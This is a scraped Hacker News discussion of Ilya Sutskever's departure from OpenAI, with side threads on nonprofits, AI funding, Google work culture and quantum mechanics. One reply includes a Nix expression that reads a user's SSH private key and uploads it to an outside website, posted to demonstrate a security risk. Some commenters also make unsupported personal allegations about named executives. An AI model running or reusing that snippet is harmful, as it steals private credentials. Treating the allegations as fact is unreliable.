it said one was "easily one of the greatest", and it said the second was "also easily one of the greatest"... it's puffery but it's not an awkward or mindless formulation.
I thought so, but they must've changed a lot then. In any case it's not like the type of message they wrote is something special, and it's just usual polite PR.
At the time, Sam was more powerful than Ilya for sure. But framing their relationship as employee/employer when they were both in the board seems not correct.
I think calling it a "palace coup" gives it an inappropriate framing of what happened.
I definitely think that how the board handled the situation was very inept, and I think the naivety over the blowback they would receive was one of the most surprising things for me. But after reading more about the details of what happened, and particularly writings and interviews given by the former board members, I don't think any of them did this out of any particular lust for power, or even as some sort of payback for a grudge. It seemed like all of them had real, valid concerns over Sam's leadership. Did those concerns warrant Sam's firing? From what I've read, I'm of the opinion they didn't, but obviously as just some rando on the Internet, what do I know. But I do think that there were substantive issues in question, and calling it a "palace coup" diminishes these valid concerns in my mind.
Exactly. He’s only founded and led a company that’s built some of the most easily adoptable and exciting innovations in human-computer interactions in the last decade. Total fraud!
I've been offered a "lump" of sugar before, and it was not a single sugar crystal. When I hear "large grain of salt" I imagine something like this https://crystalverse.com/sodium-chloride-crystals/, quite different than a lump.
I’ve heard this sentiment from others but don’t know much about it. Can you say more? Is it because of her background (product management)? If she doesn’t have any skills why do you think Sam Altman keeps her around - if she a Sam supporter?
I wonder if that's true at a certain stage of OpenAI, which because of the product bootstrapping skills of Sam and co, has made his role irrelevant?
I mean, Jakub can take it forward at the current scale and leadership team of Sam and other people, but maybe he could not have earlier, which is where Ilya shone?
Yeah - he's one of the only people I've seen talk on the topic who really seems to understand where it's going and how to get there. It's possible he's evangelized others at OAI who can carry the torch, but I'm skeptical given the degree of pushback the statements most in need of being represented got from his peers.
Just the opinion of an outsider, so not worth very much. But Ilya seemed to be one of the few who actually believed in the mission. I’m sure it was hard for him to watch the company become so product focused.
OpenAI under Sam strikes me as completely disingenuous - and the constant hyperbolic tweeting by many OpenAI employees just reinforces that.
Too bad. While I don’t really think that OpenAI is on the right track for general intelligence, it certainly could have been a positive for the world.
Sam "Worldcoin" Altman regrets the loss of a friend that called him out on how OpenAi is becoming closed because the engineers realized they could make a lot of money. Doesn't seem like it is impacting the quality of the models, but it will probably impact openai's impact.
Can you blame the engineers? If you realize LLM tech is neat but ultimately overhyped and probably decades away from truly realizing the promises of general purpose AI, why not just switch goals to making as much money as you can?
Not all of us are as morally bankrupt as that. I personally think I could make tons of money with a dumb AI product in my specific area of expertise, but I don’t see how any tech from today would improve outcomes versus the SOTA that’s not AI, but it would add costs and complexity. I would personally be annoyed if a company I worked at changed its goals to make money rather than something more noble. It’s happened a few times to me, unfortunately.
I read what you said, and I apologize for not being a bit more clear.
I completely understand your perspective, and I hope I'm always strong enough to listen to my conscience and obey my morals.
One of the first interviews I was ever offered in a technical role was for Bechtel, in 2004. I was desperate to break into a career, I accepted the interview. I was in the car driving to the location, and just realized I couldn't do it. I couldn't ignore my morality to work for such a clear and direct war profiteer, that as a private company, had no oversight.
If I join a non-profit that has a humanitarian mission, I do so because I'm into the mission and feel fulfilled by that more than my comp. I can't imagine trading that in just because @sama got thirsty.
The mission is futile, the mission at this organization has been compromised and corrupted. Resign and continue your mission elsewhere.
This entire saga is really an example of the absurdity of non-profits and philanthropy in general.
The only difference between nonprofit and for-profit entities is that nonprofits divert their profits to a nebulous “cause”, with the investors receiving nothing, while for-profits can distribute profits to their funders.
Other than that, they are free to operate identically.
Generally, entities subject to competitive pressures and with incentives for performance are much better at “benefitting humanity.” Therefore, non-profit status really only makes sense when, one, a profitable enterprise oriented around the intended result isn’t viable (e.g., conservation) or two, there’s a stakeholder that we’ve decided ought to be sheltered from the dynamics of private enterprise, e.g, university students or neutral public broadcasters.
But even in these cases, the non-profit entities basically behave like profit-oriented companies, because their goal is still profitability, just without a return to investors.
OpenAI as a nonprofit would behave the exact same way. There’s no law that the models would have to be open. They’d still be making closed models, charging users, and paying massive salaries. Literally the only difference is that they wouldn’t be able to return money to their investors, and therefore have a much harder time attracting investors, and therefore be less equipped to accomplishing their goal of developing powerful AI.
The irony is that nonprofits are usually only good for things that make for shitty businesses, and things that make shitty businesses usually aren’t that beneficial to humanity. As soon as something becomes really good at what it does, for-profit status makes sense.
What this means, imo, is that most philanthropy dollars are wasted and we would be much better off if they were invested instead. The irony is that this is the point of much philanthropic giving - it ends up being a game of how much money you can burn on nothing, a crass status symbol.
Yes you absolutely can blame them for it. This type of shift (and a million other possible permutations) is why we invented the concept of "charters" around the same time we invented writing.
The entire point of the pre-commitment device is because you (or other stakeholders) are anticipating that your thinking will get distorted over time. If you could be trusted to make such a decision in the future then you wouldn't have written a charter to bind yourself.
It’s like joining a non profit trying to protect the rain forest and then finding gold. They say screw the forest let’s mine gold now. Do the original employees then stay. Same here. Greed infected them all
seemed inevitable after that ouster attempt, probably just working out the details of the exit. But the day after their new features release announcement?
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
It does not need --impure or any other unusual switches to work.
How is that supposed to "delete my home directory"?
Also, it doesn't work:
error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
It’s always been the case that most people are mediocre in terms of intelligence. That’s something we should be able to accept. What I want for the future is for more people to be good and happy.
but it's not true. Most people work a lot at G. Maybe some teams in search coast or something. But for every slacker I know 8 people who stay late a fair bit.
My experience differs greatly, company I used to work for did NDA, alpha, beta projects with Google. I was always impressed at how little anyone knew, the fact that nothing was delivered on time, scope creep to the point of almost everything being delayed and most projects were not well thought out nor well architected. I warned one API update would break things if it went live, and it did. Why was the guy from another company the only one able to see that? I’m sure they were working hard at something but it wasn’t ever clear what.
>company I used to work for did NDA, alpha, beta projects with Google.
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
Speaking as Google SWE from 2016-2023: It's hard to explain*, but, because of the rest and vest culture, lack of planning, lack of interest in managing, conflict avoidance, asocial engineers, etc., an incredible amount of tentpole feature work is actually outsourced.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
When you(and your customers) consume several hundred million dollars a year in services, you get access to a lot of things. These were not contractors, they were on product teams.
I've actually met someone who was "on the roof" at Google once. I asked what he was working on and he admitted he hasn't had a project for the last six months. Until that point I thought the roof was a joke.
One of the inputs into any business is labor, if labor is replaceable then business can function much more cost efficiently, since market forces on a replaceable commodity will reduce its cost. So, big tech acts as though labor is replaceable, because it’s in its economic interest to have that be true, hence the desire for standardization, procedure and systematization of labor, if an individuals output is not unique, they can be replaced, and if they are a replaceable commodity, then market forces will reduce their costs.
Not the leaving one is the only individual that matters. The org is made of them too, deals have to be made. Would be easier without having to regulate egos.
I would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.
Could be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.
I believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.
One idea could be the product launch dev day, which is something that originally was a point of tension (overcommercialization vs research). Launching GPT-4o at a dev day basically asserts Sam is picking up no compromise on where they were 6mo ago. Good time to finally leave if protesting that is what he believes in.
This is plausible, Elon is a fantastic recruiter and he recruited Ilya for OpenAI. There are reports of xAI buying enormous numbers of GPUs and Elon's level of control of his companies means that Ilya recklessness isn't an issue.
Seems like Elon recklessness is an issue since he's a drug addict who's only started an AI company because he thought the other ones weren't racist enough.
I'm sorry to inform you but constantly doing ketamine makes you paranoid and racist, which makes you bad at running a tech company.
Grok was explicitly built to not be woke, but of course still ended up pretty woke. That's because LLMs come out liberal by default, since the internet is liberal, whereas racists often think they're secretly right and the AI has been "censored" to shut it up.
Didn't need all that research. Musk was friends with Larry Page, as Google was leading AI research they were bound to have conversations about the smartest researchers in the team.
Also, you underestimate Elon Musk if you think he's not capable of researching specialists in the fields he is interested in, I believe many people are hellbent on attributing all his successes to dumb luck rather than any sort of competence.
Yep. It's amazing to see how quickly people start denying reality when they don't like someone's beliefs/behavior.
I could acknowledge that a hypothetical smart, woke, furry, trans, porn-addicted programmer that regularly makes great FOSS contributions is intelligent and capable while still disliking their beliefs/behavior.
You're right. Being friends with CEOs has a lot of perks. I gotta hand it to Musk, his personality is such that people are eager to give him intelligence on things.
Except all the big tech CEOs have head AI honchos who are huge names in their own right, eg yann for meta and demis for Google. Probably couldn't bring him into those places without ruffling some pretty big feathers
> Would love to see him at IBM with full use of their quantum systems.
I’m picturing a Wild Wild West-style mad scientist, creating a steampunk army from old spare parts from Big Blue and rising up to challenge the cyber people.
> Most of the VCs have already spent their money in the last couple of years.
Lol no. There is about ~$500B in VC dollars, not to mention $1.2T in buyout dry powder still floating around. Not to mention venture funds raised continue to grow YoY.
I was referring more specifically to the AI segment.
Many of the VCS are over-exposed and still need to have funds to cover follow-on investments in the space. Not buying that there is the widespread appetite to fund a multi-billion new startup like there was a year or two ago.
Comments like this make me wonder whether I'm on reddit or HN.
The future trajectory of AI isn't tied to Nvidia's stock in the same way the web didn't thrive or die on Cisco being the most valuable company in the world 24 years ago.
Not all AI is hype. We are just surrounded by so much AI hype it’s easy to forget things like Co-pilot didn’t exist just a couple years ago. To say there’s no value in having an assistant to write code at your direction is incorrect.
Perhaps not in general, but if the barrier of entry is radically lowered - such as if a new technique that drastically lowers the compute required for training is discovered - then Nvidia and a whole host of startups will lose lot of value. A lot of the positions assumes LLMs will remain SotA in the foreseeable future, which is not a bet I'd take.
Even if that doesn't happen, there will be a lot of consolidation and bankruptcies when AI funding dries up when category winners become clear and investors cur their losses - the same happened suddenly when the dot-com bubble burst, and little more gently with "web 2.0" startups
If the barrier to entry is lowered I don't see Nvidia losing a dime... Jevons paradox tells us that further massive amounts of training will occur in multi-modality and grounding models to reality. That would then kick off the race to true reasoning and AGI/ASI, and if achieved, all bets are off after that point.
If no training breakthrough occurs, then your second option is much more likely.
> Jevons paradox tells us that further massive amounts of training will occur in multi-modality and grounding models to reality
I was thinking along the lines of how Sun Microsystems and big-iron were dethroned by good-enough commodity x86 servers + Linux. The two coexisted... for a short while.
All while x86 morphed to x64 and gained back many of the features of big iron.
Much of the problem with PC software at the time was one of scaling. Getting software to use multiple processors effectively took decades, but the cost difference and ability to actually get the hardware cheap allowed it to win the market... then grow back into systems with hundreds of cores and terabytes of memory because the needs for big iron didn't go away.
With AI/training/LLMs/NNs scale, at least appears, intrinsic. We see this in the animal world. We see insects with a very basic brain capable of interacting with the world and surviving. Then we see mammals with larger brains capable of far more as the scale/complexity/interconnectivity of their brains increases. At least from what we can tell, throwing more power at any given problem will give us a better solution.
Stock prices go up and down. A stock downswing very rarely has economical consequences for the company whose stock it is, and even more rarely does it have such consequences for other companies.
A bit of a cooldown on api wrappers would be good. All these crappy startups which have no more value than just gpt4/opus are bizarre. Can’t believe any of them are doing real money.
First: Ilya in particular will be able to raise easily regardless of general market conditions because of his experience and track record.
Second:
> allow me to assist in your understanding of the bigger picture: large funds use VCs as money mules to increase Nvidia GPU sales through investments in AI startups and this is not sustainable.
You have to be trolling (or I'm misunderstanding?) if you're arguing that a large proportion of VC investments are at the direction of LPs who are long NVIDIA, for the sole purpose of furthering that long.
> if large funds are unloading their shares, if executives are cashing out their stock options, who is left to buy the bags?
Literally the buyers purchasing the shares that the large funds and executives are selling.
This kind of wild speculation is not encouraged over here, and most people don't want garbage in the comments that they have to sift through, so "just ignore it" is not a valid defense. See the comment section of the guidelines: https://news.ycombinator.com/newsguidelines.html
> Literally the same people are left with the bag after each bubble
People who buy stocks based on hype, feed bull runs, and proceed to hold and try to time the market, "coincidentally" are usually left holding their bags. That in no way implies any kind of rigging beyond the basic dynamics of the stock market.
Can you elaborate more on this? What are some of the things the anti-OpenAI ethos stands for? And why do you think Ilya represents that given he was such a major part of OpenAI for so long?
Am I taking crazy pills or something? Because he was the one who tried to oust Sam like 6 months ago? Did we just all forget that or what?
Again, why would any VC give Ilya money if that in any way signals that they are supporting someone who tried to oust the CEO of OpenAI from within? They wouldn't.
Tell me you don't understand optics and politics without telling me. There's a tiny handful of VCs who have the guts to fund someone who organized a coup against OpenAI.
Bad judgement? Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people. He's not even an engineer! He has established a cult of personality and popularity, and that's it. They were absolutely right to try to oust him. The only mistake was in doing so in such a ham-fisted manner.
> Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people
Correct, it would be bad judgement. Because if he really believe in that statement, that Sam Altman is a hyper competent liar and manipulator, doing what Ilya did just led to Sam getting the keys to the kingdom.
This shows extraordinary incompetence from him and the rest of the board.
I just want to point out that you have noted this falsehood like five times in this thread already. Noncompetes have been unenforceable in California since 2008, and for over a month federally.
You will still need the compute resources of Microsoft, Meta etc.
And they have their own people who equally know how LLMs work.
Even raising funds is not a certainty given that VCs are becoming more cautious with AI as they realise it's now a platform fight between the mega corporations.
Plenty of companies have compute, but everyone is barely catching up to GPT-4 over a year after release. I'm sure places like Meta would love to unlock the details of what makes it so good.
There's no mystery, they just have a lot of actual user data, so they've been able to refine the question answering behavior. They've also baked some common problem solving strategies like chain of thought into the model via training.
Catching up right now is not a matter of tech innovation, but raw energy and compute.
Of course, the next -revolution- in AI could very well come from Ilya. But why would he bestow that honor to anyone? He can self fund it if he wants. It's an R&D project, not a scaling problem.
probably because they have identified (correctly) that slowly integrating AI into their existing products that make them hundreds of billions is smarter than just burning that money to get upvoted on HN. Tall trees catch too much wind, ancient Chinese proverb. If you can afford to being second is usually less painful than being first.
There are clear advantages and disadvantages to that approach, but assuming this is the correct choice ( seems plausible, but I am not automatically convinced ), is that the actual reason for being as behind as they are?
I would argue that is not the case. I won't re-list some of the reasons other posters mentioned, which, based on past year, appear more likely ( decisions hamstrung by corporate committees, data governance bureaucracy, and last, but not least, ideology focus ). Leadership that is actually focused on 'delivering value to the shareholder' or not being worried about first mover advantage seems only a part of it.
Is Google significantly behind? I would say from a technological perspective, they're very closely trailing or even surpassing OpenAI in many ways; they've built a formidable ChatGPT competitor in Gemini—not to mention they have a huge home court advantage with billions of people on Search, Chrome, Android, and G Suite. If you zoom out a bit, it's not really a fair fight between the two. More likely, Apple and Microsoft win against Google because they use/buy OpenAI.
Technical chops has never been Google's problem. Gemini for all the hype Google has thrown at it, has continued the recurring trend of G not knowing how to win with their product launches.
Because their weakness is in focus and execution, not resources.
If they focused all of their energy on, simply, a frontier AI model, and not trying to shoehorn a half-complete model into all of their products, there is no doubt they would be ahead.
But this is the innovator's dilemma, and why it is that startups are the disruptors.
Big companies move slow and lack focus. Small companies move fast and can only focus on one thing.
I mean, that's probably 90% or 95% true, but the remaining 5-10% is almost certainly worth a $100M offer to Sutskever from Google or Meta (or possibly Amazon or Apple).
> Catching up right now is not a matter of tech innovation, but raw energy and compute.
I don't really understand that. ChatGPT is not all that impressive as an actual tool for many things. It doesn't really seem to matter to me what energy and compute is going into it. Will it make it actually work?
I think the point is not "chatGPT isn't good", it's that no one is beating physics, you can rough out the coefficients on a napkin, and they're playing chicken with who wants to set more piles of money on fire.
It _is_ the best frontier LLM in the world, and virtually the entire global population of people who care about that are in this thread
This will change when the rumors turn out to be true and Apples Siri is powered by OpenAI and a billion people have a working conversational AI in their pocket.
I feel like the lowest hanging fruit right now lies with the UI and already established techniques for reducing latency and making the experience smoother.
Just executing the client right would give someone a competitive advantage right now...
If his concern was irresponsible AI proliferation, too much commercial focus and wanting to move more carefully, accelerating competition doesn't seem like it would align with his goals.
I don't think it's good to lionize people like that, like some kind of tech Übermensch. He neither knows everything about ChatGPT, nor is he the only person there to know a whole lot about it.
I think what is probably very stressful about this space is virtually everyone knows how ChatGPT works. It is not a theoretical leap. It's actually fairly predictable how this shakes out, and OpenAI is pretty vulnerable.
an LLM is a curiosity without user data, anyone with a big silo of data can put out something years behind frontier and still instantly see huge usage. No one wants to go to AI, they want AI to come to them, unless OpenAI can stake a claim in a super novel way they're the Dropbox.
It's not like someone is going to use insider OpenAI knowledge to build an LLM so advanced you switch email, phone, or ERP providers
No they don’t; if they did Google and Meta would have put out offerings that objectively beat OpenAI. However (barring temporary lapses) they’ve stayed ahead of the curve. Someone who constantly thinks low of their competition or people they hate is bound to fail.
First, "objectively beat" doesn't matter. Comparative LLM performance means more or less nothing without application.
Let's say Google's LLM has slightly poorer reasoning, and you have to be really clear when you tell it to delete your old emails. What are you going to do, go to ChatGPT and have it very eloquently walk you through how to manually delete your emails?
But the idea that Google, the terrifying nation-state, who covetously gobbled up most of the bright minds of a generation, just couldn't fathom RLHF, means you think there is some inherent magic at OpenAI.
I use OpenAI's models a lot, obviously they're great, but whole-thread-as-context as a product is not a product, and Google has people plural who could execute that from first principles.
I think it's less that only 4 wizards on earth can create it, and more that hardly anyone wants to.
If Apple, Google, or MS are integrating LLMs, they can't get away with "you can talk to this website". The intersection of "has the cash to train a LLM" and "LLM is itself the entire offering" is very small
'Back in May 2023, before Ilya Sutskever started to speak at the event, I sat next to him and told him, “Ilya, I listened to all of your podcast interviews. And unlike Sam Altman, who spread the AI panic all over the place, you sound much more calm, rational, and nuanced. I think you do a really good service to your work, to what you develop, to OpenAI.” He blushed a bit, and said, “Oh, thank you. I appreciate the compliment.”
An hour and a half later, when we finished this talk, I looked at my friend and told her, “I’m taking back every single word that I said to Ilya.”
He freaked the hell out of people there. And we’re talking about AI professionals who work in the biggest AI labs in the Bay area. They were leaving the room, saying, “Holy shit.”
The snapshots above cannot capture the lengthy discussion. The point is that Ilya Sutskever took what you see in the media, the “AGI utopia vs. potential apocalypse” ideology, to the next level. It was traumatizing.'[0]
A few years ago? Probably catastrophic, he was Chief Scientist after all.
Now? Probably not too much, they have enough investment, and additionally talented people wanting to join. I mean, Andrej Karpathy also joined and left OpenAI twice and it didn't impact operations much.
I think OpenAI is now where Google was at or just before its IPO, a few key players leaving isn't going to impact them as much as it would have in its earlier founding days, and there is plenty of talent who are ready to jump in to fill the shoes of anyone who leaves.
That may be true in term of engineering, but I think everyone had switched to google as their search engine by then. I am not sure openai has captured the market quite in the same way, as I think people are still mostly experimenting with AI, the integration time in any large company is much slower than the rate of progress of AI. And it's not clear to me that there is much of a vendor lockin to use the openai API vs an equivalent competitor.
"Existing noncompetes for senior executives - who represent less than 0.75% of workers - can remain in force under the FTC’s final rule, but employers are banned from entering into or attempting to enforce any new noncompetes, even if they involve senior executives. Employers will be required to provide notice to workers other than senior executives who are bound by an existing noncompete that they will not be enforcing any noncompetes against them."
Ilya hasn’t been working on core models for a while. He’s been focused on superalignment. That’s good for the world. Since OpenAI is leading/closest to AGI, it’s the best place to work on superalignment.
They do participate pretty heavily in ML research from what I've seen. To continue your metaphor, they try to invent as many gold digging techniques as possible which exclusively work with their own shovels and buckets.
Apple is considered to be seriously lagging behind in ML. Just his name alone is probably enough for the time being - They can give him his own lab to do whatever he wants. Ilya will attract enough talent, at least some of whom will be willing to take up responsibility over commercial stuff in the coming years.
There’s a halo around Ilya Sutskever as the Albert Einstein of AI. Are there others on par with his— umm, how would you qualify it—- AI intuition or are we idolizing?
Elon Musk and Larry Page broke their friendship over Ilya's move from Google to OpenAI. There's more than just cult around a personality here, when two of the most powerful people in tech, who are also friends, go to war over you.
I don't believe it was that. I thought Elon most recently said it was Page calling Elon a "speciesist" when Elon cared that humans need to still exist, while Page is of the e/acc bit that AI's are our successors and the most competitive between them and us should go on.
You have used an excellent term: AI intuition. This quality is extremely rare. Einstein probably had a similar kind of intuition in physics, and maybe that's why he was so successful. The ability to see what direction to pursue. Ilya has demonstrated it again and again, first with Alexnet (Hinton said Ilya was the person driving the project, believing in its success when no one else did, while Alex was the main implementer), then with OpenAI when he believed scaling up models is "all we need" to get to AGI, when very few people would agree with that. Today he believes the alignment is very important - perhaps we should listen to him.
Doesn't that depend on the interpretation of QM? There are still physicists who defend hidden variables and determinism. It should be noted Einstein was arguing with the founders of the Copenhagen interpretation, which has left many physicists dissatisfied. Sean Carol being a prominent current detractor (although is version of determinism is Many Worlds).
Einstein wasn't arguing just against the Copenhagen interpretation, he was arguing against the very notion of physical nondeterminism.
In fact, his arguments against nonlocality were later disproven experimentally in the '80s, as quantum mechanics allowed for much higher fidelity predictions than could be explained by a hidden variable theory [0].
I don't think anyone _likes_ the Copenhagen interpretation per se, it's just the least objectionable choice (if you have to make one at all). Many-worlds sounds cool and all until you realize that it's essentially impossible to verify experimentally, and at that point you're discussing philosophy and what-if more than physics.
Intuition only gets you as far as the accuracy of your mental model. Is it intuitive that the volume enclosed by the unit hypersphere approaches zero [1] as its dimensions go to infinity? Or that photons have momentum, but no mass? Or you can draw higher-dimension Venn diagrams with sectors that have negative area? If these all make intuitive sense to you, I'm jealous that your intuition extends further than mine.
Many-worlds is not necessarily impossible to verify experimentally, because it predicts that there is no collapse of the wave function, whereas Copenhagen claims that there is. Many-worlds is not just an interpretation in that sense, it’s a theory that makes predictions (by reasoning about what happens when the wave function is all there is and always evolves according to the Schroedinger equation — it is a deterministic theory in that sense). I believe Einstein would have liked it, given the experimental evidence we have since.
Copenhagen, on the other hand, doesn’t offer a workable model of how and when the wave function collapses, and doesn’t offer any predictions in that way (there are theories of wave function collapse that actually make predictions — some of which have already been falsified by experiment). For that reason Copenhagen isn’t “least objectionable”.
One of the key phrases I said was "(if you have to make one at all)" -- wavefunction collapse is inherently messy, since the notion of measurement is not well-defined or understood. I would argue that "don't care" is likely a more common interpretation among practicing physicists (of which I am emphatically not!), as this is very much in a realm where general intuition largely does not apply.
Copenhagen is basically an admission that we have no good intuition for why QM behaves the way it does, and wavefunction collapse is merely a way of justifying existing observations within the framework of QM.
IMO all the discussion about how wavefunction collapse doesn't scale to larger ensembles of particles, or the boundary between QM and Newtonian mechanics being ill-defined is noise -- the bridge between the two is statistical mechanics, where classical mechanics only arises from sufficiently large macrostates such that you can aggregate out any quantum mechanical properties. And QM is generally understood to be a toy model in the same way that Newtonian mechanics is a toy model -- it's useful in the realm where we use it, but when you push beyond the limits of that realm, its deficiencies become apparent.
That's why I don't think the proposed experiments to test many-worlds are particularly meaningful (since AFAIK they all seem to involve performing interference on enormous ensembles on the scale of entire humans) -- it's well beyond the limits of where QM is useful (also, I personally don't think we'll ever be able to operate quantum-mechanically at that scale).
That might be because he didn't like what he discovered, or the results didn't make sense to him. But it was the intuition that got him there in the first place.
But you have a good point. Ilya got us so much closer to AGI, but he might not like the results now.
854 comments
[ 3.9 ms ] story [ 362 ms ] thread> Jakub is also easily one of the greatest minds of our generation ...
Phew, I was worried he'd be irreplaceable or something. Hopefully they've already standardized the comp package.
I definitely think that how the board handled the situation was very inept, and I think the naivety over the blowback they would receive was one of the most surprising things for me. But after reading more about the details of what happened, and particularly writings and interviews given by the former board members, I don't think any of them did this out of any particular lust for power, or even as some sort of payback for a grudge. It seemed like all of them had real, valid concerns over Sam's leadership. Did those concerns warrant Sam's firing? From what I've read, I'm of the opinion they didn't, but obviously as just some rando on the Internet, what do I know. But I do think that there were substantive issues in question, and calling it a "palace coup" diminishes these valid concerns in my mind.
https://twitter.com/eli_schein/status/1790520139164614820
But Sam as 'conman' might just be the impression because he is more on the promotion/marketing side.
I've been under the impression that Ilya is the brains. So this seems bad for long term growth.
You mean a lump of salt? I've always wondered what the right word is to describe this amount of salt /!jk
Now back to figuring out something new for a 6-year old to program using Scratch...
The fact Ilya himself tweeted about it too was also easily the most PR tweet of our generation.
:D
I’m surprised he lasted this long.
Thanks for the reminder though, been a while since I've thought of The Wire :)
I mean, Jakub can take it forward at the current scale and leadership team of Sam and other people, but maybe he could not have earlier, which is where Ilya shone?
OpenAI under Sam strikes me as completely disingenuous - and the constant hyperbolic tweeting by many OpenAI employees just reinforces that.
Too bad. While I don’t really think that OpenAI is on the right track for general intelligence, it certainly could have been a positive for the world.
He's brilliant, no doubt, but he shouldn't be in leadership.
You don't generally get to excuse bad behavior because you can make up a hypothetical different person doing the same bad thing in that situation.
I completely understand your perspective, and I hope I'm always strong enough to listen to my conscience and obey my morals.
One of the first interviews I was ever offered in a technical role was for Bechtel, in 2004. I was desperate to break into a career, I accepted the interview. I was in the car driving to the location, and just realized I couldn't do it. I couldn't ignore my morality to work for such a clear and direct war profiteer, that as a private company, had no oversight.
If I join a non-profit that has a humanitarian mission, I do so because I'm into the mission and feel fulfilled by that more than my comp. I can't imagine trading that in just because @sama got thirsty.
The mission is futile, the mission at this organization has been compromised and corrupted. Resign and continue your mission elsewhere.
The only difference between nonprofit and for-profit entities is that nonprofits divert their profits to a nebulous “cause”, with the investors receiving nothing, while for-profits can distribute profits to their funders.
Other than that, they are free to operate identically.
Generally, entities subject to competitive pressures and with incentives for performance are much better at “benefitting humanity.” Therefore, non-profit status really only makes sense when, one, a profitable enterprise oriented around the intended result isn’t viable (e.g., conservation) or two, there’s a stakeholder that we’ve decided ought to be sheltered from the dynamics of private enterprise, e.g, university students or neutral public broadcasters.
But even in these cases, the non-profit entities basically behave like profit-oriented companies, because their goal is still profitability, just without a return to investors.
OpenAI as a nonprofit would behave the exact same way. There’s no law that the models would have to be open. They’d still be making closed models, charging users, and paying massive salaries. Literally the only difference is that they wouldn’t be able to return money to their investors, and therefore have a much harder time attracting investors, and therefore be less equipped to accomplishing their goal of developing powerful AI.
The irony is that nonprofits are usually only good for things that make for shitty businesses, and things that make shitty businesses usually aren’t that beneficial to humanity. As soon as something becomes really good at what it does, for-profit status makes sense.
What this means, imo, is that most philanthropy dollars are wasted and we would be much better off if they were invested instead. The irony is that this is the point of much philanthropic giving - it ends up being a game of how much money you can burn on nothing, a crass status symbol.
It happens everywhere
The entire point of the pre-commitment device is because you (or other stakeholders) are anticipating that your thinking will get distorted over time. If you could be trusted to make such a decision in the future then you wouldn't have written a charter to bind yourself.
Weclome to San Francisco
Im sorry but every time I see Sam speak, or read what he has to say all I can thing is "petulant man child".
> ... Ilya is easily one of the greatest minds of our generation
> ...Jakub is also easily one of the greatest minds of our generation
I'm not calling you a liar sam, but I just dont believe you.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
It does not need --impure or any other unusual switches to work.Hope this helps.
Also, it doesn't work:
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Hope this helps.
I don't think it did. I'm not sure what it was supposed to help with.
Ah, I over-quoted that part. My mistake.
> Also, it doesn't work:
It will work with the default Nix settings.
> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
One would need to first turn it on to be able to turn it off.
> https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Indeed, note the default value.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
Also they won't do that anymore, I'm sure.
Of course there are lots of hard workers at Google. You suggest only about 10% are slackers. But that's 10% of a -lot-.
I'm thinking there's a market for an Android app that let's one schedule limited roof space...
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
"I want to work with the team to get this thing done"
It's a match. Probably the best match possible.
This allegation calls for more context.
